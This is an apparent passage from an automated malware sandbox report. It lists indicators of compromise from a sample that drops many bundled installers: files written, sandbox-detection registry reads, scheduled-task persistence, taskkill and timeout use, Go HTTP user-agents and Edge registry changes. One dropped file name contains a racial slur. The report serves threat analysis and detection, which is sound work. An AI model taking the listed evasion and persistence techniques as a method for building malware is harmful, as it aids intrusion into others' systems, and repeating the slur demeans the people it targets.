C:\Program Files (x86)\Picture Lab\is-6Q676.tmp prolab.tmp File created C:\Program Files (x86)\I-record\is-EQPGQ.tmp irecord.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\winxp32\devcon.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-B0LIO.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-64FS5.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Icy-Breeze\help.txt xuezhe3wrql.exe File created C:\Program Files (x86)\Frosty-Sound\7zxa.dll app.exe File created C:\Program Files\Java\SMWJCOGRZP\irecord.exe Microsoft.exe File opened for modification C:\Program Files (x86)\I-record\AForge.Video.dll irecord.tmp File created C:\Program Files (x86)\Versium Research\Versium Research\nigger.exe SyRKChyKMlzw2xirpLHPvuxF.exe File opened for modification C:\Program Files (x86)\InstallationEngineForIB\ServiceModelInstallRC.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\MaskVPN\is-5FV3I.tmp vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\unins000.dat vpn.tmp File opened for modification C:\Program Files (x86)\Picture Lab\Pictures Lab.exe prolab.tmp File created C:\Program Files (x86)\I-record\is-RJ7KM.tmp irecord.tmp File opened for modification C:\Program Files (x86)\Frosty-Sound\winamp.exe 7za.exe File created C:\Program Files (x86)\viewerise\is-FDE9A.tmp i0bjlfnxokh.tmp File opened for modification C:\Program Files (x86)\MaskVPN\polstore.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-JV1EK.tmp vpn.tmp File created C:\Program Files (x86)\Icy-Breeze\winamp.7z xuezhe3wrql.exe File created C:\Program Files (x86)\Reference Assemblies\Nisarashija.exe Microsoft.exe File opened for modification C:\Program Files (x86)\Picture Lab\AForge.dll prolab.tmp File opened for modification C:\Program Files (x86)\I-record\avformat-53.dll irecord.tmp File created C:\Program Files (x86)\I-record\is-03SJN.tmp irecord.tmp File created C:\Program Files (x86)\viewerise\is-JJDMU.tmp i0bjlfnxokh.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-9FR20.tmp vpn.tmp File created C:\Program Files (x86)\Frosty-Sound\WinmonProcessMonitor.sys 7za.exe File created C:\Program Files (x86)\MaskVPN\is-GOVV9.tmp vpn.tmp File opened for modification C:\Program Files (x86)\I-record\swresample-0.dll irecord.tmp File created C:\Program Files (x86)\I-record\is-HU9OM.tmp irecord.tmp File created C:\Program Files (x86)\viewerise\unins000.dat i0bjlfnxokh.tmp File opened for modification C:\Program Files (x86)\InstallationEngineForIB\Borland.Globalization.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-2M6A3.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Versium Research\Versium Research\vlcplayer.exe Setup.exe File opened for modification C:\Program Files (x86)\Versium Research\Versium Research\Uninstall.exe Setup.exe File created C:\Program Files (x86)\Frosty-Sound\7za.exe app.exe -
Drops file in Windows directory 26 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI8FD1.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI986D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSID40B.tmp app.exe File opened for modification C:\Windows\Installer\MSIF729.tmp app.exe File created C:\Windows\Tasks\.job aipackagechainer.exe File opened for modification C:\Windows\Installer\f755286.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI7689.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8466.tmp msiexec.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new vict.exe File created C:\Windows\Installer\f755286.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI7A92.tmp msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\ app.exe File opened for modification C:\Windows\Tasks\.job svchost.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File opened for modification C:\Windows\Installer\MSI6E3B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSID6CB.tmp app.exe File opened for modification C:\Windows\Installer\MSIDA76.tmp app.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi app.exe File created C:\Windows\Installer\SourceHash{B59E6947-D960-4A88-902E-F387AFD7DF1F} app.exe File opened for modification C:\Windows\Installer\MSIE17C.tmp app.exe File opened for modification C:\Windows\Installer\MSI5056.tmp app.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 5 IoCs
pid pid_target Process procid_target 2756 2832 WerFault.exe 127 6804 5368 WerFault.exe 144 5252 6896 WerFault.exe 231 8260 5204 WerFault.exe 209 7832 6540 WerFault.exe 221 -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\HardwareID tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\CompatibleIDs tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\HardwareID tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs tapinstall.exe -
Checks processor information in registry 2 TTPs 22 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 74450792116.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 74201405900.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 40762245600.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 16907253218.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 49050741582.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 22242921795.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 11697490623.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 16907253218.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 30869852162.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 74450792116.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 74201405900.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 22242921795.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 11697490623.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 30869852162.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 49050741582.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 89713549215.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 89713549215.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 46717035527.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 46717035527.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 40762245600.exe -
Creates scheduled task(s) 1 TTPs 32 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 12084 schtasks.exe 10168 schtasks.exe 10428 schtasks.exe 8568 schtasks.exe 8464 schtasks.exe 1692 schtasks.exe 4104 schtasks.exe 10836 schtasks.exe 7896 schtasks.exe 2828 schtasks.exe 4136 schtasks.exe 9988 schtasks.exe 10024 schtasks.exe 228 schtasks.exe 11080 schtasks.exe 5228 schtasks.exe 4604 schtasks.exe 7388 schtasks.exe 8840 schtasks.exe 9000 schtasks.exe 8208 schtasks.exe 11164 schtasks.exe 4112 schtasks.exe 11056 schtasks.exe 11140 schtasks.exe 7376 schtasks.exe 4120 schtasks.exe 7824 schtasks.exe 12796 schtasks.exe 6728 schtasks.exe 10032 schtasks.exe 10768 schtasks.exe -
Delays execution with timeout.exe 14 IoCs
pid Process 4168 timeout.exe 6296 timeout.exe 1596 timeout.exe 6600 timeout.exe 9792 timeout.exe 8448 timeout.exe 10000 timeout.exe 5704 timeout.exe 9860 timeout.exe 7960 timeout.exe 584 timeout.exe 1740 timeout.exe 700 timeout.exe 6400 timeout.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe -
GoLang User-Agent 16 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 1533 Go-http-client/1.1 HTTP User-Agent header 826 Go-http-client/1.1 HTTP User-Agent header 837 Go-http-client/1.1 HTTP User-Agent header 850 Go-http-client/1.1 HTTP User-Agent header 907 Go-http-client/1.1 HTTP User-Agent header 1531 Go-http-client/1.1 HTTP User-Agent header 906 Go-http-client/1.1 HTTP User-Agent header 909 Go-http-client/1.1 HTTP User-Agent header 1532 Go-http-client/1.1 HTTP User-Agent header 1534 Go-http-client/1.1 HTTP User-Agent header 766 Go-http-client/1.1 HTTP User-Agent header 908 Go-http-client/1.1 HTTP User-Agent header 999 Go-http-client/1.1 HTTP User-Agent header 1528 Go-http-client/1.1 HTTP User-Agent header 825 Go-http-client/1.1 HTTP User-Agent header 903 Go-http-client/1.1 -
Kills process with taskkill 23 IoCs
pid Process 7468 taskkill.exe 196 taskkill.exe 7428 taskkill.exe 9960 taskkill.exe 4668 taskkill.exe 11544 taskkill.exe 2192 taskkill.exe 9580 taskkill.exe 4040 taskkill.exe 612 taskkill.exe 9828 taskkill.exe 9364 taskkill.exe 8132 taskkill.exe 9328 taskkill.exe 7724 taskkill.exe 5600 taskkill.exe 4332 taskkill.exe 11156 taskkill.exe 11004 taskkill.exe 4924 taskkill.exe 8692 taskkill.exe 13120 taskkill.exe 7700 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main cpx21i5hmro.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe -
Modifies data under HKEY_USERS 6 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\PegasPc file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" svchost.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 reg.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B72164 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\SharedCookie_MRACMigrationDone = "1" taskkill.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0" taskkill.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main taskkill.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0" taskkill.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 6c3a3b6c55add601 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" taskkill.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{9E6DB85A-03DB-48EA-908C-B6FDDD5C65EA} = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI = "{DBE60BE6-9703-456C-9C82-6D3718464A64}" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local 